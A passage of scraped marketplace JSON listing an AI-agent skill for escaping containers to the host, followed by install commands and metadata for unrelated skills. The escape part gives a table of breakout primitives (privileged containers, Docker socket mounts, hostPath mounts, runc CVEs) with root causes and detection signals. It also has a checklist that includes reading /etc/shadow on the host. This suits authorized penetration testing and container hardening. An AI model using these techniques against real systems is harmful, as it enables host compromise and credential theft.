https:\u002F\u002Fgithub.com\u002Fstrikoder\u002Fcve-2024-21626-runc-1.1.11-escape |\n| Sysdig runc 2025 advisory | CVE-2025-31133\u002F52565\u002F52881 analysis | https:\u002F\u002Fwww.sysdig.com\u002Fblog\u002Frunc-container-escape-vulnerabilities |\n| Palo Alto Leaky Vessels | CVE-2024-21626 deep dive | https:\u002F\u002Fwww.paloaltonetworks.com\u002Fblog\u002Fcloud-security\u002Fleaky-vessels-vulnerabilities-container-escape\u002F |\n\n## Escape Primitive Reference\n\n| Primitive | Root Cause | Detection Signal |\n|-----------|-----------|------------------|\n| Privileged container | `--privileged` \u002F `CAP_SYS_ADMIN` | `mount` of cgroup, write to `release_agent` |\n| Docker socket mount | `\u002Fvar\u002Frun\u002Fdocker.sock` bind-mounted | Daemon API call from a container |\n| hostPath `\u002F` mount | Pod mounts node root | Write to `\u002Fhost\u002Fetc\u002Fkubernetes\u002Fmanifests` |\n| CVE-2024-21626 | runC fd leak before pivot_root | WORKDIR\u002Fcwd `=\u002Fproc\u002Fself\u002Ffd\u002FN` |\n| CVE-2025-31133\u002F52565\u002F52881 | procfs write redirect via mount race | RW mount of `\u002Fdev\u002Fconsole`, write to `\u002Fproc\u002Fsysrq-trigger` |\n\n## Validation Criteria\n\n- [ ] Container privilege posture enumerated (caps, namespaces, mounts, seccomp)\n- [ ] Available escape primitive correctly identified\n- [ ] Host-level code execution demonstrated (host hostname \u002F `\u002Fetc\u002Fshadow` \u002F host file write captured)\n- [ ] Root-cause misconfiguration or vulnerable runtime version recorded\n- [ ] runC\u002Fcontainerd\u002FDocker versions checked against CVE patch baselines\n- [ ] Remediation guidance (drop privileges, remove socket mount, patch runtime) documented\n- [ ] All actions stayed within the authorized scope\n",{"name":5,"tags":25,"author":34,"domain":35,"license":15,"version":36,"nist_csf":37,"subdomain":39,"description":7,"mitre_attack":40},[26,27,28,29,30,31,32,33],"container-escape","privileged-container","runc-cve","docker-socket","host-mount","kubernetes","privilege-escalation","breakout","mahipal","cybersecurity","1.0",[38],"PR.PS-01","container-security",[41],"T1611","main","4e084e84eb42fc53e144c89c0f7f48b39c8a4b0f","collections\u002Fcybersecurity-skills\u002Fskills\u002Fescaping-containers-to-host",1,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills","https:\u002F\u002Fgithub.com\u002Fsanjeevafk","First make it work. Then make it right. Then make it fast.","2026-11-14 13:36:16",{"source":8,"skillName":5,"commands":51,"prompt":61,"zipAvailable":62},[52,55,58],{"tool":53,"command":54},"npx","npx skills add sanjeevafk\u002Fagent-skills --skill escaping-containers-to-host",{"tool":56,"command":57},"bunx","bunx skills add sanjeevafk\u002Fagent-skills --skill escaping-containers-to-host",{"tool":59,"command":60},"pnpm","pnpm dlx skills add sanjeevafk\u002Fagent-skills --skill escaping-containers-to-host","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fescaping-containers-to-host\u002FSKILL.md",true,[64,68,74,78],{"path":65,"resourceType":65,"resourceTypeDesc":66,"sizeBytes":67,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":69,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":72,"sourceHtmlUrl":73},"references\u002Fapi-reference.md","REFERENCE","参考文档",2526,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fescaping-containers-to-host\u002Freferences\u002Fapi-reference.md",{"path":75,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":76,"sourceHtmlUrl":77},"references\u002Fstandards.md",2311,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fescaping-containers-to-host\u002Freferences\u002Fstandards.md",{"path":79,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":82,"sourceHtmlUrl":83},"scripts\u002Fagent.py","SCRIPT","脚本",6878,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fescaping-containers-to-host\u002Fscripts\u002Fagent.py",[85,93,101,109,117,124],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":89,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":20},"01M7EFHX67M3KKXT1BXVPA5ADT","zarr-python","Chunked N-D arrays for cloud storage (Zarr-Python 3). Compressed arrays, parallel I\u002FO, S3\u002FGCS via fsspec, NumPy\u002FDask\u002FXarray compatible, for large-scale scientific computing pipelines.","MIT","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzarr-python\u002FSKILL.md",[],[],{"skillNo":94,"name":95,"nameZh":6,"description":96,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":89,"licenseFileUrl":97,"sourceHtmlUrl":98,"categories":99,"keywords":100,"publishedAt":20},"01M7EFFQGM51TZBGRENXY50ZYM","whiteboard-diagrams","Create accurate, simple, hand-drawn whiteboard diagrams from a user's process, system, architecture, learning workflow, comparison, or causal explanation. Use when the user asks for a scribbly whiteboard visual, educational workflow graphic, hand-drawn explainer, or diagram like the bundled reference; ask one focused clarification question when the subject or relationships are missing, then generate and visually verify the final image.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwhiteboard-diagrams\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwhiteboard-diagrams\u002FSKILL.md",[],[],{"skillNo":102,"name":103,"nameZh":6,"description":104,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":105,"sourceHtmlUrl":106,"categories":107,"keywords":108,"publishedAt":20},"01M7EFF1CSQNTDMHFK4ZGY6NYK","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwebapp-testing\u002FSKILL.md",[],[],{"skillNo":110,"name":111,"nameZh":6,"description":112,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":113,"sourceHtmlUrl":114,"categories":115,"keywords":116,"publishedAt":20},"01M7EFE8106X6C28FT8PA74427","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fweb-artifacts-builder\u002FSKILL.md",[],[],{"skillNo":118,"name":119,"nameZh":6,"description":120,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":89,"licenseFileUrl":6,"sourceHtmlUrl":121,"categories":122,"keywords":123,"publishedAt":20},"01M7EFCSNZM9G7ZHS6F127Q71X","verification-loop","A comprehensive verification system for Claude Code sessions.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fverification-loop\u002FSKILL.md",[],[],{"skillNo":125,"name":126,"nameZh":6,"description":127,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":89,"licenseFileUrl":128,"sourceHtmlUrl":129,"categories":130,"keywords":131,"publishedAt":20},"01M7EFCE7EZMKPRYDDNKBQ9EEH","vercel-deploy","Deploy applications and websites to Vercel. Use when the user requests deployment actions like \"deploy my app\", \"deploy and give me the link\", \"push this live\", or \"create a preview deployment\".","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fvercel-deploy\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fvercel-deploy\u002FSKILL.md",[],[]]